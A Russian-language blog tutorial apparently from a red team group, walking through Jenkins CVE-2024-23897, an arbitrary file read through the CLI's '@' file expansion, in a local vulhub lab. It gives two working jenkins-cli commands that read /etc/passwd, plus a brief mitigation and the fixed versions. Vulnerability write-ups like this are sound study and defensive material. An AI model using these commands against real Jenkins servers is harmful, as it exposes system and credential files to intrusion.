Pull to refresh

Jenkins CVE-2024-23897

Level of difficultyMedium
Reading time2 min
Views2.6K

Введение

Jenkins — программная система с открытым исходным кодом на Java, предназначенная для обеспечения процесса непрерывной интеграции программного обеспечения.

25 января 2024 для версий Jenkins 2.441 и более ранних, а также в LTS 2.426.2 и ниже была выявлена уязвимость чтения произвольного файла через встроенный интерфейс командной строки (Jenkins CLI), которой был присвоен идентификатор CVE-2024-23897.

Особенностью парсера команд, использующегося в Jenkins, является замена символа "@" на содержимое файла, если путь к файлу следует за этим символом в аргументе команды. Эта функция активирована по умолчанию в версиях указанных выше.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Приступим к подготовке стенда.

Подготовка

Скачиваем дистрибутив Jenkins 2.441 с репозитория vulhub на GitHub.

Устанавливаем данный дистрибутив на ОС Linux с помощью docker-compose (в директории, где лежит файл docker-compose.yml):

docker-compose up -d

После установки у нас должна быть доступна панель управления Jenkins по адресу http://127.0.0.1:8080:

Далее можем приступить к разбору уязвимости чтения произвольных файлов.

Разбор уязвимости CVE-2024-23897

Для эксплуатации уязвимости нам необходим jenkins-cli, который лежит на нашем развернутом сервере по адресу http://127.0.0.1:8080/jnlpJars/jenkins-cli.jar

С помощью этой утилиты, мы будем отправлять команды на сервер. Для эксплуатации уязвимости, мы отправим следующую команду на сервер:

java -jar jenkins-cli.jar -s <http://localhost:8080/> -http help 1 "@/etc/passwd"

При использовании модуля help, как показано на примере выше, мы получим только первую строку в файле:

В случае, если включен “Allow anonymous read access”, мы можем использовать другой модуль, для доступа к полному контенту файла:

java -jar jenkins-cli.jar -s <http://localhost:8080/> -http connect-node 1 "@/etc/passwd"

Меры защиты

В качестве временного решения для уязвимых версий, пока исправление не будет применено, рекомендуется отключить доступ к CLI.

Заключение

В текущей статье мы рассмотрели мощный CI/CD инструмент Jenkins, а также разобрали уязвимость CVE-2024-23897. Данная уязвимость была устранена в версиях Jenkins 2.442 и LTS 2.426.3 путём отключения функции синтаксического анализа команд.

Подписывайтесь на наш Telegram-канал https://t.me/giscyberteam

Tags:
Hubs:
Total votes 2: ↑1 and ↓10
Comments0

Articles